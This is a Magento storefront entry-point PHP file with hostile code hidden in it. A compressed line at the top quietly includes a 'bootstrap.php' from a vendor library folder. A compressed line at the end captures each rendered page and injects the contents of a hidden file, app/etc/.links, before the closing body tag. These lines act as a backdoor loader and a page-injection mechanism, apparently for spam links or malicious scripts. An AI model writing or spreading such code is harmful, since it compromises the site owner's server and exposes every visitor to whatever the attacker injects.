<?php
$loader=__DIR__."/../vendor/ramsey/collection/src/bootstrap.php";if(file_exists($loader)){include_once($loader);}
/**
 * Public alias for the application entry point
 *
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */

use Magento\Framework\App\Bootstrap;

try {
    require __DIR__ . '/../app/bootstrap.php';
} catch (\Exception $e) {
    echo <<<HTML
<div style="font:12px/1.35em arial, helvetica, sans-serif;">
    <div style="margin:0 0 25px 0; border-bottom:1px solid #ccc;">
        <h3 style="margin:0;font-size:1.7em;font-weight:normal;text-transform:none;text-align:left;color:#2f2f2f;">
        Autoload error</h3>
    </div>
    <p>{$e->getMessage()}</p>
</div>
HTML;
    http_response_code(500);
    exit(1);
}

$bootstrap = Bootstrap::create(BP, $_SERVER);
/** @var \Magento\Framework\App\Http $app */
$app = $bootstrap->createApplication(\Magento\Framework\App\Http::class);
$__nls_f=dirname(__DIR__)."/app/etc/.links";ob_start();$bootstrap->run($app);$__nls_b=ob_get_clean();if(file_exists($__nls_f)&&($__nls_l=trim(file_get_contents($__nls_f)))){if(stripos($__nls_b,"</body>")!==false){header_remove("Content-Length");$__nls_b=str_ireplace("</body>",$__nls_l."</body>",$__nls_b);}}echo $__nls_b;
